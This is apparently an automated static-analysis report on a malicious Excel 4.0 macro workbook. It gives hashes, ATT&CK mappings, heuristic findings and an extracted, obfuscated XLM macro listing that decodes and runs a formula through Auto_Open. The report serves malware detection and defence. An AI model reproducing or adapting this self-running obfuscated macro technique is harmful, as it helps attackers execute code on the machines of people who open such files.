Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2a86d8a74156d115…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:38:40 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 58be856a3e8d39f6c0c8fccd3bb568b9 SHA-1: 9ac534ef05a57b6a90e008a50843915fa96dc59b SHA-256: 2a86d8a74156d115b6193ef3d2d70a3fd7590311f0f22930871e7ec4ea7cfdb2
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open function, which is a common technique for executing malicious code upon opening the document. The macro sheet contains references to dangerous formula APIs, specifically 'RUN', suggesting it is designed to execute arbitrary commands or download additional payloads.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6812 bytes
SHA-256: 5febbf24d09e9ce419fc0d779b2104b7320346282912e0b7f2ebc09fe1b7905d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HyCPGRrMAS
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E151 
' 0018     20 LABEL : Cell Value, String Constant - bKBhE len=0 
' 0018     24 LABEL : Cell Value, String Constant - ecmzHrFhO len=0 
' 0018     25 LABEL : Cell Value, String Constant - ekIXPnbfbJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - elWFe len=0 
' 0018     25 LABEL : Cell Value, String Constant - FpwlSrohPQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - HFphZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - iKlCHOWBJCZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - IXUFipTMyvUQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - LelvZLSe len=0 
' 0018     22 LABEL : Cell Value, String Constant - MbFSUxd len=0 
' 0018     23 LABEL : Cell Value, String Constant - MrDzmdbn len=0 
' 0018     27 LABEL : Cell Value, String Constant - MRgvEHROSQvs len=0 
' 0018     27 LABEL : Cell Value, String Constant - NKuSAguBldLN len=0 
' 0018     22 LABEL : Cell Value, String Constant - QeEOVdK len=0 
' 0018     27 LABEL : Cell Value, String Constant - qgHOglUZxRam len=0 
' 0018     22 LABEL : Cell Value, String Constant - QHPpKUf len=0 
' 0018     22 LABEL : Cell Value, String Constant - ScpUCcV len=0 
' 0018     20 LABEL : Cell Value, String Constant - sRksn len=0 
' 0018     22 LABEL : Cell Value, String Constant - WRdNHii len=0 
' 0018     21 LABEL : Cell Value, String Constant - yGRLoL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HyCPGRrMAS,E55,"SET.NAME("QeEOVdK",0+VALUE("0"))",""
'  HyCPGRrMAS,E60,"SET.NAME("bKBhE",QeEOVdK)",""
'  HyCPGRrMAS,E65,"SET.NAME("qgHOglUZxRam",QeEOVdK)",""
'  HyCPGRrMAS,E68,"SET.NAME("elWFe",COUNTA(HFphZ))",""
'  HyCPGRrMAS,E73,"SET.NAME("yGRLoL",COUNTA(ecmzHrFhO))",""
'  HyCPGRrMAS,E78,[],""
'  HyCPGRrMAS,E81,"SET.NAME("MRgvEHROSQvs","")",""
'  HyCPGRrMAS,E83,"bKBhE",""
'  HyCPGRrMAS,E87,"SET.NAME("MrDzmdbn",HLOOKUP("*",HFphZ,bKBhE,FALSE))",""
'  HyCPGRrMAS,E91,"IXUFipTMyvUQ",""
'  HyCPGRrMAS,E93,"SET.NAME("iKlCHOWBJCZ",QeEOVdK)",""
'  HyCPGRrMAS,P94,"",-343.00000000000000000000
'  HyCPGRrMAS,P95,"",-194.00000000000000000000
'  HyCPGRrMAS,P96,"",-532.00000000000000000000
'  HyCPGRrMAS,E97,[],""
'  HyCPGRrMAS,P97,"",-153.00000000000000000000
'  HyCPGRrMAS,P98,"",35.00000000000000000000
'  HyCPGRrMAS,P99,"",-324.00000000000000000000
'  HyCPGRrMAS,E102,"iKlCHOWBJCZ",""
'  HyCPGRrMAS,E105,"ekIXPnbfbJ",""
'  HyCPGRrMAS,E108,"sRksn",""
'  HyCPGRrMAS,E110,"NKuSAguBldLN",""
'  HyCPGRrMAS,E114,"SET.NAME("WRdNHii",VALUE(HLOOKUP("*",ecmzHrFhO,NKuSAguBldLN,FALSE)))",""
'  HyCPGRrMAS,E119,"ScpUCcV",""
'  HyCPGRrMAS,E123,"MRgvEHROSQvs",""
'  HyCPGRrMAS,E127,"qgHOglUZxRam",""
'  HyCPGRrMAS,E131,NEXT(),""
'  HyCPGRrMAS,E133,"MbFSUxd",""
'  HyCPGRrMAS,E137,[],""
'  HyCPGRrMAS,E142,"QHPpKUf",""
'  HyCPGRrMAS,E145,NEXT(),""
'  HyCPGRrMAS,E147,RETURN(),""
'  HyCPGRrMAS,E174,"SET.NAME("LelvZLSe",E55)",""
'  HyCPGRrMAS,E177,"HFphZ",""
'  HyCPGRrMAS,E182,"SET.NAME("ecmzHrFhO",R64C12)",""
'  HyCPGRrMAS,E185,"SET.NAME("QHPpKUf",194)",""
'  HyCPGRrMAS,E189,"SET.NAME("FpwlSrohPQ",5)",""
'  HyCPGRrMAS,E193,LelvZLSe(),""
'  HyCPGRrMAS,E194,HALT(),""